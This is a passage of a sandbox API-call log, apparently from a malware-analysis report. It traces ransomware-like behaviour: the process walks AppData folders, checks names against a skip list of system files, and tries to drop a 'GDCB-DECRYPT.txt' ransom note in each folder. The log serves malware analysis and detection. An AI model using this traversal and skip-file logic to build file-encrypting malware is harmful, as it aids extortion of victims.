Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.953] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.954] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 117 [0169.954] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 117 [0169.954] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.954] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.954] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.954] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.954] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.954] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.954] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.954] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.954] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0169.954] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.954] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 109 [0169.954] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 109 [0169.954] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 109 [0169.954] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 109 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.955] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.955] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.955] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.955] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.955] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.955] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.955] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data" [0169.955] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\" [0169.955] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.955] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.955] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\") returned 104 [0169.955] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*" [0169.955] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4d18 [0169.956] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe") returned 109 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data") returned 120 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\CEF" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\CEF") returned 107 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Comms" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Comms") returned 109 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 120 [0169.956] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Google" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Google") returned 110 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\History" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\History") returned 111 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\IconCache.db" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 116 [0169.956] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0169.956] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft" [0169.956] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft") returned 113 [0169.956] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.956] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0169.956] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 117 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Mozilla" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Mozilla") returned 111 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Packages") returned 112 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 117 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Publishers" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Publishers") returned 114 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temp" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temp") returned 108 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 128 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 117 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.957] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0169.957] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0169.957] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\VirtualStore" [0169.957] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 116 [0169.957] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.957] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.957] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.958] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 121 [0169.958] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.958] GetLastError () returned 0x50 [0169.958] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.959] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\") returned 104 [0169.959] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*" [0169.959] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4d18 [0169.959] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.959] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.959] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.959] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.959] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.959] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.959] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.959] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe" [0169.959] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\" [0169.959] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.959] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.959] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.959] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 110 [0169.959] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0169.959] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4918 [0169.960] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.960] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.960] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.960] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.960] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.960] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.960] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application 